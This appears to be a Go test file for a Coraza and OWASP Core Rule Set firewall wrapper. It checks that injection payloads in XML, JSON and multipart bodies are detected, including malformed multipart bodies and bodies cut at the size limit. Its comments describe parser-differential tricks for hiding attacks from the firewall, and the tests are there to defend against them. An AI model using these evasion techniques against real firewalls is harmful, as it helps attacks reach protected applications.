|
comment := "content=" + url.QueryEscape(text)
|
|
wantBody(t, crs, post(formData), comment, matched(932235), comment)
|
|
|
|
// An attachment named like a log file.
|
|
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
|
|
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
|
|
}
|
|
|
|
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ contentType, body string }{
|
|
{"application/atom+xml", "<q>" + injection + "</q>"},
|
|
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
|
|
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
|
|
{"text/json", `{"q":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
|
|
matched(942100), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// An end tag after the root element, past which Coraza reads none of
|
|
// the body, while an app may still read the attack before it.
|
|
body := "<q>" + injection + "</q></r>"
|
|
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
|
|
|
|
// The multipart bodies Coraza cannot parse fail its strict checks too:
|
|
// one whose type names its boundary twice, and one with a part header
|
|
// that has no colon, before the attack. They do so padded past the
|
|
// limit too, which cuts them in the padding.
|
|
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
|
pad := field("pad", strings.Repeat("a", bodyLimit))
|
|
|
|
for _, tc := range []struct{ header, head string }{
|
|
{multipart + "; boundary=c", ""},
|
|
{multipart, noColon},
|
|
} {
|
|
body = tc.head + field("q", injection) + end
|
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
|
|
|
|
body = tc.head + field("q", injection) + pad + end
|
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
}
|
|
|
|
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The limit falls in the middle of the name of the second part's
|
|
// header, which Coraza, reading up to the limit, cannot tell from a
|
|
// header without a colon.
|
|
cut := "--b\r\nContent-Di"
|
|
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
|
|
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
|
|
|
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
|
|
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
|
|
|
|
// The limit falls between the carriage return and the line feed that
|
|
// end the second part's header line, and then between those that end
|
|
// the empty line after it. Coraza, reading up to the limit, takes the
|
|
// line ending in a lone carriage return for a malformed header.
|
|
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
|
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
|
|
body := first + field("q", "1") + end
|
|
|
|
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
}
|
|
|
|
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
|
|
// system's temporary directory, for the whole test process.
|
|
func TestCorazaWritesNoFile(t *testing.T) {
|
|
// The system's temporary directory is one that does not exist, so that
|
|
// Coraza could write nothing there: built without no_fs_access, it
|
|
// refuses to load, and could not write a file of a multipart body.
|
|
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
|
|
|
|
// The test loads its own Core Rule Set, since loading is part of what
|
|
// it checks.
|
|
crs, err := coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("load the Core Rule Set: %v", err)
|
|
}
|
|
|
|
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
|
|
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
|
|
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
|
}
|
|
|
|
func TestBodyLimitOf1GLoads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
|
|
if err != nil {
|
|
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
|
}
|
|
}
|